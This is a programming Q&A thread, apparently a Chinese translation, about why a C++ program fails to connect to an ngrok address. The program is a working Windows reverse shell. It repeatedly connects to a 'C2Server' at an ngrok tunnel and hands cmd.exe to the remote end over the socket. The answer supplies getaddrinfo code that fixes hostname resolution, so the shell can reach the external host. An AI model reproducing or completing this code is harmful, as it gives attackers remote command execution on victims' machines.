如何让 C++ 接受 ngrok 地址?

How to make C++ accept ngrok address?

我创建了一个简单的 C++ 程序,它使用套接字连接到我的另一台机器。我没有 windows 专业版,所以无法打开 3389 端口,我不想下载其他第三方应用程序,因为我真的很想完成我已经完成的事情。

我正在为格式为以下格式的 ngrok 地址付费:0.tcp.ngrok.io:12345

程序在使用我的私人 IP 地址时运行良好 - 但是当我使用我的 ngrok 地址时,它不起作用。我仍然可以通过其他方式通过 ngrok 地址与我的机器通信,但似乎程序由于某种原因根本没有与该地址通信。我不确定这是否与地址中有字母有关?我不知道 - 我真的坚持这个。我将展示下面的代码,如果有人能告诉我我是否应该做些什么来让它与 ngrok 地址一起使用,我将非常感激——或者如果它没有任何问题并且这是一个问题与 ngrok..

    #include <winsock2.h>
    #include <windows.h>
    #include <ws2tcpip.h>
    #pragma comment(lib, "Ws2_32.lib")
    #define DEFAULT_BUFLEN 1024


    void RunShell(char* C2Server, int C2Port) {
        while(true) {

            SOCKET mySocket;
            sockaddr_in addr;
            WSADATA version;
            WSAStartup(MAKEWORD(2,2), &version);
            mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, 
    (unsigned int)NULL);
            addr.sin_family = AF_INET;

            addr.sin_addr.s_addr = inet_addr(C2Server);  //IP received from main function
            addr.sin_port = htons(C2Port);     //Port received from main function

            //Connecting to Proxy/ProxyIP/C2Host
            if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, 
    NULL)==SOCKET_ERROR) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char RecvData[DEFAULT_BUFLEN];
                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                else {
                    char Process[] = "cmd.exe";
                    STARTUPINFO sinfo;
                    PROCESS_INFORMATION pinfo;
                    memset(&sinfo, 0, sizeof(sinfo));
                    sinfo.cb = sizeof(sinfo);
                    sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                    sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                    CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, 
    &pinfo);
                    WaitForSingleObject(pinfo.hProcess, INFINITE);
                    CloseHandle(pinfo.hProcess);
                    CloseHandle(pinfo.hThread);

                    memset(RecvData, 0, sizeof(RecvData));
                    int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                    if (RecvCode <= 0) {
                        closesocket(mySocket);
                        WSACleanup();
                        continue;
                    }
                    if (strcmp(RecvData, "exit\n") == 0) {
                        exit(0);
                    }
                }
            }
        }
    }
    //-----------------------------------------------------------
    //-----------------------------------------------------------
    //-----------------------------------------------------------
    int main(int argc, char **argv) {
        if (argc == 3) {
            int port  = atoi(argv[2]); //Converting port in Char datatype to Integer format
            RunShell(argv[1], port);
        }
        else {
            char host[] = "0.tcp.ngrok.io";
            int port = 12345;
            RunShell(host, port);
        }
        return 0;
    }

inet_addr() 仅适用于 IP 点分表示法中的字符串,不适用于主机名。因此,inet_addr("0.tcp.ngrok.io") 将失败并且 return -1(又名 INADDR_NONE),因此您正在尝试连接到 255.255.255.255:12345。但对于 inet_addr("196.168.#.#") 之类的东西(其中 # 是数字 0..255)它会很好地工作。

您需要使用 getaddrinfo() 来将主机名解析为 IP 地址,例如:

// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
    // error handling...
}

...

addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;

char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
    // error handling...
}

//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
    mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
    if (mySocket == INVALID_SOCKET)
        continue;

    if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
        break;

    closesocket(mySocket);
    mySocket = INVALID_SOCKET;
}

freeaddrinfo(addrs);

if (mySocket == INVALID_SOCKET)
{
    // error handling...
}

// use mySocket as needed...

closesocket(mySocket);

...

// you should do this only once per process, not per loop iteration...
WSACleanup();

请注意,因为 ngrok 是外部云服务,所以您的 ngrok 主机名将解析为您的 ngrok 服务器的 public 互联网 IP 地址,而不是其私有 IP地址。如果该服务器机器在 router/firewall 后面,您将必须配置 router/firewall 到 端口转发 到 public IP/port服务器的私有 IP/port.